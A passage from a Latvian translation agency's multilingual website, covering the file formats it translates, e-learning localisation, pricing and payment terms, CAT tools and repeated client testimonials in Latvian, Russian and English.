redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Populārākie datņu formāti, kurus ikdienā tulkojam. Neatradāt savu datņu formāti? Sazinieties ar mums! Sagatavosim jums piedāvājumu. - Published: 2020-05-22 - Modified: 2024-05-29 - URL: https://skrivanek.lv/tulkosanas-datnu-formati/ - Translation Priorities: Optional POPULĀRĀKIE DATŅU FORMĀTI, KURUS IKDIENĀ TULKOJAM LIETOTNE DATNES FORMĀTS A JS file is a text file containing JavaScript code that is used to execute JavaScript instructions in web page js A SYS file is a system file used by Microsoft DOS and Windows operating systems. It contains system settings and variables, as well as functions that are used to run the operating system sys Active Server Page file format asp Active Server Page Extended (ASPX) file aspx Adobe FrameMaker mif Adobe InDesign in XML format inx Adobe PhotoDeluxe Image file pdd Adobe PhotoShop psd Apple Safari and Mac OS X operating systems strings ASP. NET Web User Control file ascx Bilingual file format with tab separated value (TSV) data, where each line represents a translatable unit catkeys Borland Package Library bpl Calc program included in Apache OpenOffice ots Comma-separated values (CSV) file csv Compiled HTML file format chm Compressed backup files dbk Darwin Information Typing Architecture file dita Digital Line Graph files dlg DITA XML file ditamap Document template saved in OASIS’ OpenDocument standard format ott Document Type Definition file DTD E-book file format epub File extension for files mainly used in Java related technologies to store the configurable application properties File that uses a two-dimensional vector graphic format svg Game resource file lang Google Application Resource Bundles arb HTML Help Workshop file hhc Hypertext Markup Language file htm, html INC is a file extension for a text file used with several programming languages. INC stands for INClude files inc InDesign file idml, indd INI is a file extension for an initialization file format used by Microsoft Windows ini Internet document set its Java file extension java Java resources j2ee, j2se, j2me, war Java Server Pages file format jsp Java ARchive jar Java class file class JavaScript Object Notation json Lightweight markup language with plain-text-formatting syntax markdown Linux and Unix systems GUI file desktop Macromedia’s Captivate software application rd Markdown Documentation Files md MemoQ Compressed XLIFF Archive mqxlz MemoQ document format mqxliff Microsoft Excel files xls, xlsm, xlsx, xlt, xltm, xltx Microsoft HTML Help hhk Microsoft Installer file parser msi Microsoft Powerpoint file pot, potm, potx, pps, ppsm, ppsx, ppt, pptm, pptx Microsoft Visio 2013 and above vstx Microsoft Visio application that supports macros vsdm Microsoft Visio software vtx Microsoft Visio Stencil files vssm Microsoft Word file doc, docm, docx, dot, dotm, dotx Microsoft’s. NET Framework; stores objects and strings for a program in an XML format resx ODS is a spreadsheet file format used by OpenOffice/StarOffice ods Open Document Master Document odm OpenDocument Text Document file odt OpenOffice presentation template files otp Photoshop Document Template psdt PHP file is a webpage that contains PHP (Hypertext Preprocessor) code php PLIST file is a settings file plist Portable Document Format pdf Portable Object file parser po Presentation file format used by OpenOffice. org odp Rich Text Format document rtf SDL Intermediate Translation Document itd SDLXLIFF is an XML based file format specially developed for use in SDL Trados Studio sdlxliff SQL is a file extension for a Structured Query Language file format written in ASCII. SQL files are used by database products sql Stencils created with Microsoft Visio 2013 and above vssx SubRip Subtitle file srt TAG file is a data file used by DataFlex and SQL Connectivity Kit tag Template files created with Microsoft Visio that support macros vstm Text documents containing subtitle details of digital videos sub Text file that contains TypeScript code ts TMX is a file extension used by some CAT (Computer Aided Translation) tools. TMX file uses XML data format tmx Trados Tag Document ttx TXT file is a standard text document that contains unformatted text txt TypeExtensible Hypertext Markup Language Document xhtm Visio drawing XML file vdx, vsdx Visio Stencil XML File vsx Visual Basic 6 project frm, vbp Visual Studio and Borland C++ rc, rc2 Web page written in XHTML xhtml Web Video Text Tracks (WebVTT) format vtt . wiki formatted text file wiki Windows 8 Modern UI files resjson Windows Standard Resources dll, exe, ocs XML (Extensible Markup Language) data file xml XML Localisation Interchange File Format xlf, xliff XML-based Extensible TreeGraph (XTG) format xtg YAML Ain’t Markup Language yaml YouTube videos to display subtitles or closed captions sbv ZIP is an archive file format that supports lossless data compression. In Memsource allows to upload multiple files from archive zip un citi datņu formāti. KĀDAS CAT PROGRAMMAS IZMANTOJAM? Mēs izmantojam šobrīd pasaulē modernākās un populārākās programmas. Memsource; SDL Trados; Across; Transit NXT; Wordfast Pro; u. c. NEPIECIEŠAMS TULKOJUMS? NEATRADĀT SAVAS DATNES FORMĀTU? Sagatavosim jums piedāvājumu un nodrošināsim konsultāciju. Sazināties KĀDAS CAT PROGRAMMAS IZMANTOJAM? Mēs izmantojam šobrīd pasaulē modernākās un populārākās programmas. Memsource; SDL Trados; Across; Transit NXT; Wordfast Pro; u. c. NEPIECIEŠAMS TULKOJUMS? NEATRADĀT SAVAS DATNES FORMĀTU? Sagatavosim jums piedāvājumu un nodrošināsim konsultāciju. Sazināties TIRGŪ JAU VAIRĀK NEKĀ 25 GADUS! Mums ir plaša pieredze tekstu tulkošanā par dažādām tēmām. 0+ Valodu dažādās kombinācijās 0+ milj. Pārtulkotu vārdu 2023. gadā 0+ Valodu speciālistu 0 ISO sertifikāti KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Локализуйте ваш учебный контент или электронное решение хотя бы на несколько самых популярных языков в мире или в вашем регионе! - Published: 2020-04-27 - Modified: 2024-10-18 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/e-macibu-satura-un-risinajumu-lokalizacija/ - Translation Priorities: Optional Благодаря онлайн-возможностям вы можете привлечь к своему бизнесу клиентов из разных стран мира. Если вы предлагаете дистанционное обучение, в том числе различные курсы в интернет-среде, мы рекомендуем полностью локализовать контент или систему обучения на выбранный вами язык. Любой процесс обучения, в том числе дистанционное, предполагает, что студенту предлагается высококачественный контент, который позволяет получить новые знания. Существует множество навыков и знаний, которые можно приобрести в интернет-среде, и прекрасно, если это можно сделать на родном языке. И здесь на помощь приходит компания Skrivanek Baltic, которая обладает двадцатипятилетним опытом в области перевода, локализации и адаптации самого разного контента в соответствии с осваиваемой территорией рынка. С нашей помощью вы сможете обратиться к своим потенциальным клиентам на их языке, завоевав таким образом известность и за пределами латвийского рынка. Осознавая растущую популярность дистанционного обучения и различных онлайн-курсов, каждый поставщик таких услуг должен учитывать следующее: чтобы привлечь студентов в определенном регионе, нужно обращаться к ним напрямую, без посредников, лично. Поэтому прекрасно, если вы можете предлагать курсы на языке конкретной целевой аудитории. В то же время существуют отрасли, где пригодится учебная платформа, работающая на одном из крупнейших языков мира – английском, испанском, немецком, французском и др. Локализация контента и решений означает, что ваша платформа дистанционного обучения, в том числе все учебные пособия и разработанные вами вспомогательные материалы, будет приспособлена к потребностям людей, говорящих на конкретном языке. Для получения максимально качественного результата мы гарантируем, что контент будет не просто переведен, а приспособлен к целевому рынку. Локализация и адаптация – это творческий процесс, требующий углубленных знаний в конкретной сфере. Специалисты Skrivanek Baltic не только великолепно ориентируются в отрасли, которую вы представляете, но и знают культурную среду носителей конкретного языка. Наши специалисты также помогут оценить, в какой степени подготовленный вами контент соответствует потенциальной целевой аудитории и не требуется ли более специфическая подготовка. Свяжитесь с нашими руководителями проектов, чтобы узнать, насколько быстро мы можем локализовать разработанный вами контент дистанционного обучения или платформу для рынка выбранного вами целевого языка. ЧАСТО ЗАДАВАЕМЫЕ ВОПРОСЫ Мы можем перевести любой текст, сохранив форматирование оригинала, и принимаем документы практически в любом электронном формате. В случаях, когда необходимо выполнить локализацию, мы учитываем требования клиента и специальные настройки, заданные программным обеспечением. Конечно, с большим удовольствием. Skrivanek имеет обширную базу знаний и богатый опыт в области перевода и локализации различных веб-сайтов и систем управления содержимым. Мы гарантируем профессиональный подход и всегда находим оптимальное решение, которое позволяет добиться желаемого результата в заданных языковых комбинациях. Да, очень часто мы создаем для своих партнеров команды специалистов по определенному языку: над текстами одного клиента всегда работает один и тот же переводчик. Смело расскажите нам о своих впечатлениях, и мы с радостью организуем перевод последующих текстов тем же специалистом. Отметим, что нашим постоянным клиентам также выделяется собственный руководитель проектов. НЕОБХОДИМА ЛОКАЛИЗАЦИЯ? ИЩЕТЕ ЯЗЫКОВОЕ РЕШЕНИЕ ИЛИ ЭКСПЕРТА, КОТОРЫЙ МОЖЕТ ДАТЬ СОВЕТ? Мы подготовим для вас предложение и предоставим консультацию. Отправить запрос УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > E-mācību satura vai mācību sistēmas lokalizācija vairāk nekā 110 valodās. Sazinieties ar mums, sagatavosim jums piedāvājumu! 👆️ - Published: 2020-04-23 - Modified: 2024-11-26 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/e-macibu-satura-un-risinajumu-lokalizacija/ - Translation Priorities: Optional Pateicoties tiešsaistes iespējām, varat piesaistīt savam biznesam klientus no dažādām pasaules valstīm. Ja piedāvājat e-mācības, tostarp dažādus kursus interneta vidē, iesakām veikt pilnīgu satura vai mācību sistēmas lokalizāciju jūsu izvēlētajā valodā. Jebkura veida mācības, tostarp e-mācības, paredz, ka studentam tiek piedāvāts augstākās kvalitātes saturs, kas ļauj apgūt jaunas zināšanas. Ir daudz prasmju, iemaņu un zināšanu, kuras var apgūt interneta vidē, – un lieliski, ja tas ir iespējams dzimtajā valodā. Te palīgā nāks Skrivanek Baltic ar divdesmit piecu gadu ilgu pieredzi visdažādākā satura tulkošanā, lokalizācijā un adaptēšanā atbilstoši apgūstamajai tirgus teritorijai. Ar mūsu palīdzību varēsiet uzrunāt savus potenciālos klientus viņu valodā, tādējādi gūstot popularitāti arī ārpus Latvijas tirgus. Apzinoties e-mācību un dažādu tiešsaistes kursu arvien pieaugošo popularitāti, ikvienam šāda pakalpojuma sniedzējam ir jāņem vērā: lai piesaistītu studentus noteiktā reģionā, ir jāspēj viņus uzrunāt tieši, nepastarpināti un personīgi. Tāpēc ir lieliski, ja jums ir iespēja piedāvāt kursus konkrētās mērķauditorijas valodā. Tajā pašā laikā ir nozares, kurās lieti noderēs mācību platforma, kas darbosies kādā no lielajām pasaules valodām, – angļu, spāņu, vācu, franču vai citā valodā. Satura un risinājumu lokalizācija nozīmē, ka jūsu e-mācību platforma, tostarp visi mācību materiāli un jūsu izstrādātie palīgmateriāli, tiks pielāgota attiecīgās valodas runātāju vajadzībām. Lai panāktu maksimāli kvalitatīvu rezultātu, garantējam, ka saturs netiks vienkārši iztulkots, bet gan pielāgots mērķa tirgum. Lokalizācija un adaptācija ir radošs process, kas prasa padziļinātas zināšanas konkrētajā jomā. Skrivanek Baltic speciālisti lieliski orientējas ne tikai jūsu pārstāvētajā jomā, bet arī pārzina attiecīgās valodas lietotāju kultūrvidi. Mūsu speciālisti arī palīdzēs izvērtēt, cik lielā mērā jūsu sagatavotais saturs atbilst potenciālajai mērķauditorijai un vai nav nepieciešama specifiskāka sagatavošanās. Sazinieties ar mūsu projektu vadītājiem, lai uzzinātu, cik ātri varam lokalizēt jūsu izstrādāto e-mācību saturu vai platformu jūsu izvēlētās mērķvalodas tirgum! BIEŽĀK UZDOTIE JAUTĀJUMI Mēs varam iztulkot jebko no praktiski jebkura elektroniska formāta, saglabājot oriģinālā dokumenta formatējumu. Arī gadījumos, kad nepieciešami lokalizācijas pakalpojumi, mēs ievērojam klienta norādījumus, kā arī programmatūras specifiskos iestatījumus. Protams, ar lielāko prieku. Skrivanek ir plaša pieredze un zināšanu bāze dažādu mājaslapu un satura vadības sistēmu tekstu tulkošanā un lokalizēšanā. Visos gadījumos tiek nodrošināta profesionāla pieeja un piemeklēts labākais risinājums, lai nodrošinātu vēlamo rezultātu nepieciešamajās valodu kombinācijās. Jā, ļoti bieži sadarbības partneriem mēs veidojam pat valodas speciālistu komandas – pakalpojumu nodrošina tas pats tulkotājs vai tulks, kurš strādājis ar klientu iepriekš. Droši sniedziet atgriezenisko saiti, un mēs ar lielāko prieku organizēsim atkārtotu sadarbību. Mūsu pastāvīgajiem klientiem ir arī savs projektu vadītājs. NEPIECIEŠAMS TULKOJUMS? MEKLĒJIET VALODU RISINĀJUMU? NEPIECIEŠAMA KONSULTĀCIJA? Sagatavosim jums piedāvājumu un nodrošināsim konsultāciju. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Ziņa Pievienot Noņemt E-pasts *Ziņa Pievienot Noņemt Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  TIRGŪ JAU VAIRĀK NEKĀ 25 GADUS! Mums ir plaša pieredze tekstu tulkošanā par dažādām tēmām. 0+ Valodu dažādās kombinācijās 0+ milj. Iztulkotu vārdu 2023. gadā 0+ Valodu speciālistu 0 ISO sertifikāti --- > Localise your learning content or e-solution in at least some of the most popular languages in the world or in your region! - Published: 2020-04-23 - Modified: 2025-07-02 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/e-macibu-satura-un-risinajumu-lokalizacija/ - Translation Priorities: Optional Thanks to the opportunities provided by the Internet, you can attract customers from different countries to your business. If you offer e-learning, including various online courses, we recommend you to localise all content or the learning system in a language of your choice. Any type of learning, including e-learning, should provide top-quality content to students which allows them to acquire new knowledge. There are many skills, competences, and knowledge that can be acquired online – and it is great if it is possible to do it in one’s mother tongue. In this regard, Skrivanek Baltic will provide you assistance. The company has twenty-five years of experience in translating, localising, and adapting a wide range of content according to the market to be acquired. With our help, you will be able to address your potential customers in their language, thus gaining popularity outside the local market, too. Being aware of the growing popularity of e-learning and various online courses, every provider of such a service must take into account the following: in order to attract students in a particular region, it must be possible to address them directly, immediately, and personally. Therefore, it is great if you have the opportunity to offer courses in the language of the specific target audience. At the same time, there are industries in which a learning platform operating in one of the world’s major languages – English, Spanish, German, French, or another language – would be very useful. Localisation of content and solutions means that your e-learning platform, including all its learning materials and the additional materials you have developed, will be adapted to the needs of the speakers of the specific language. In order to achieve top-quality results, we guarantee that the content will not be simply translated, but also adapted to the target market. Localisation and adaptation is a creative process which requires in-depth knowledge in the specific area. Skrivanek Baltic specialists have great knowledge not only in the area you represent, but also in the cultural environment of the users of the specific language. Our specialists will also help you assess the extent to which the content you have prepared fits your potential target audience and whether more specific preparation is required. Contact our project managers in order to find out how quickly we can localise the e-learning content or platform you have developed for the market of your chosen target language! FREQUENTLY ASKED QUESTIONS We provide great variety of language – translation and interpreting services, localisation services, text adaptation, copywriting, DTP and language training. Interpreting is provided at conferences and business meetings, as well as during court proceedings. Translating includes specialised and general translations across a variety of industries. Although most of our translation requests come from legal entities, we gladly work with natural persons as well. Notary-certified translations is the most common service among natural persons. Language courses, and camps for children and youths are also popular. No, all translation orders are accepted and overseen by project managers, who form an effective link between clients and suppliers. Skrivanek Baltic translators and interpreters can provide services in more than 110 languages. LOOKING FOR TRANSLATION SERVICES OR CONSULTATION? We will prepare a tailored solution and consult you on your subject of interest. Send inquiry MORE THAN 30 YEARS ON THE MARKET! We have vast experience in translating texts on various subjects. 0+ Languages in different combinations 0+ million Words translated in 2024 0+ Language specialists 0 ISO certificates RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Стоимость перевода рассчитывается индивидуально, исходя из различных факторов, например, количество слов, срок выполнения перевода и тд. - Published: 2020-04-15 - Modified: 2024-01-03 - URL: https://skrivanek.lv/pakalpojumi/tulkosanas-cenas/ - Translation Priorities: Optional На нашем предприятии стоимость перевода рассчитывается на основании количества слов в документе на исходном языке (языке оригинала). Мы заранее определяем стоимость каждого отдельного проекта, а также согласуем выгодный для обеих сторон срок выполнения. В расценки на услуги письменного перевода в наиболее популярных языковых комбинациях (латышский, русский, немецкий и английский языки) уже включена корректура, выполняемая носителем языка. Стоимость услуг письменного устного перевода зависит от сроков выполнения заказа. При срочных заказах необходимо считаться с удорожанием проекта, о чем вам немедленно сообщат наши руководители проектов. Специфика или степень сложности письменного и устного перевода в соответствующей отрасли на стоимость перевода не влияет! Мы будем рады узнать о необходимом вам проекте – после отправки вашего запроса мы незамедлительно рассчитаем и отправим вам стоимость и срок выполнения заказа! Подробнее о курсах иностранных языков читайте на www. valodumacibas. lv. Корпоративным клиентам при размещении заказов на перевод предлагаем скидку 5 % на языковые курсы для работников предприятия! О других скидках, а также о возможности заключить соглашение о конфиденциальности или договор о сотрудничестве вам расскажут наши руководители проектов. РАСЧЕТ СТОИМОСТИ Единицей для расчета стоимости является количество слов на языке оригинала. Точное количество слов в электронных документах можно определить с помощью программы Wordcount (Tools/Wordcount/Words). Формула расчета стоимости письменного перевода: стоимость перевода за слово х количество слов на языке оригинала = стоимость заказа (без НДС). Данный расчет стоимости не относится к переводам, которые планируется заверить у нотариуса. ПОРЯДОК РАСЧЕТОВ: Юридическим лицам мы предлагаем заключить договор о сотрудничестве, в котором могут быть предусмотрены следующие условия оплаты: при первом размещении заказа клиент нашего предприятия получает готовый заказ только после оплаты счета; отложенная оплата каждого проекта по счету (данный вариант обычно рекомендуем для крупных проектов); отложенная оплата по счету за период (данный вариант обычно рекомендуем клиентам, у которых много небольших заказов); отложенная оплата по счету один раз в месяц. Корпоративным клиентам и частным лицам мы предлагаем оплачивать счета расчетными картами, наличными в нашем офисе, посредством PayPal или банковским перечислением. НЕОБХОДИМ ПЕРЕВОД? Отправьте запрос ИЛИ ПОЗВОНИТЕ ПО ТЕЛЕФОНУ 8000 72 72 В кратчайший срок мы подготовим предложение, разработанное специально для вас, и в случае необходимости проконсультируем. Расценки предоставляются бесплатно и не обязывают начинать сотрудничество с нами. ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO --- > Skrivanek использует самые современные и эффективные инструменты перевода (CAT), которые помогают выполнить перевод на высшем уровне. - Published: 2020-04-15 - Modified: 2024-06-03 - URL: https://skrivanek.lv/pakalpojumi/tulkosanas-riki/ - Translation Priorities: Optional ЧТО ТАКОЕ ИНСТРУМЕНТЫ ПЕРЕВОДА (CAT)? Несмотря на то что компьютеры с каждым годом становятся все мощнее, они не могут состязаться с человеком в процессе перевода. И все же компьютеры и их программное обеспечение являются неотъемлемой частью повседневной работы переводчиков. Инструменты перевода (CAT) ускоряют выполнение перевода. Кроме того, современные инструменты позволяют последовательно использовать терминологию, помогают сократить расходы и обеспечивают другие преимущества. Использование инструментов перевода становится все более востребованным, а в некоторых отраслях даже является обязательным условием, поскольку их эффективность признают как сами переводчики, так и наши клиенты. Инструменты перевода – это специальные программы для переводчиков, которые не выполняют компьютеризированный или автоматизированный перевод, а помогают специалисту в процессе работы. Данные инструменты позволяют сохранять все ранее переведенные тексты, тем самым избавляя от необходимости несколько раз переводить одинаковые предложения в разных текстах. CAT-инструменты могут использоваться в большинстве проектов перевода. Инструменты перевода: помогают накопить точную и утвержденную клиентом терминологию для каждого заказчика или проекта; позволяют накапливать повторения, предлагая клиентам все более качественные переводы; позволяют ускорить процесс перевода и сократить расходы. Однако в некоторых случаях использовать САТ-инструменты невозможно, например: при переводе рукописного текста; если программа, работающая с памятью переводов, несовместима с форматом 